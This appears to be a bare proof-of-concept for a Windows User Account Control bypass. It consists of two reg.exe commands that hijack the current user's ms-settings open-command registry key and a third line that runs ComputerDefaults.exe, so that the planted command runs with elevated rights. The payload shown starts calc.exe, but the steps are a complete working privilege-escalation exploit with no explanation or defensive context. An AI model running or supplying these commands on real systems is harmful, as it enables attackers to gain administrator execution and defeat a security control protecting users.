reg.exe add HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\open\command /ve /d "C:\Windows\System32\cmd.exe /c C:\Windows\System32\calc.exe" /f
reg.exe add HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\open\command /v "DelegateExecute" /t REG_SZ /d "" /f
C:\Windows\System32\ComputerDefaults.exe